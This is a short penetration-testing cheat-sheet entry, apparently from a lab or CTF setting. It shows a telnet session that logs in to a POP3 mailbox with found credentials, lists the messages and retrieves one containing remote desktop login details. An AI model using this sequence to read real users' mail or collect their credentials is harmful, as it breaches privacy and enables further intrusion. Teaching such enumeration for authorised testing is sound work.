POP3 Enumeration - Reading other peoples mail - You may find usernames and passwords for email accounts, so here is how to check the mail using Telnet

•  root@kali:~# telnet $ip 110
   +OK beta POP3 server (JAMES POP3 Server 2.3.2) ready 
   USER billydean    
   +OK
   PASS password
   +OK Welcome billydean
  
   list
  
   +OK 2 1807
   1 786
   2 1021
  
   retr 1
  
   +OK Message follows
   From: [email protected]
   Dear Billy Dean,
  
   Here is your login for remote desktop ... try not to forget it this time!
   username: billydean
   password: PA$$W0RD!Z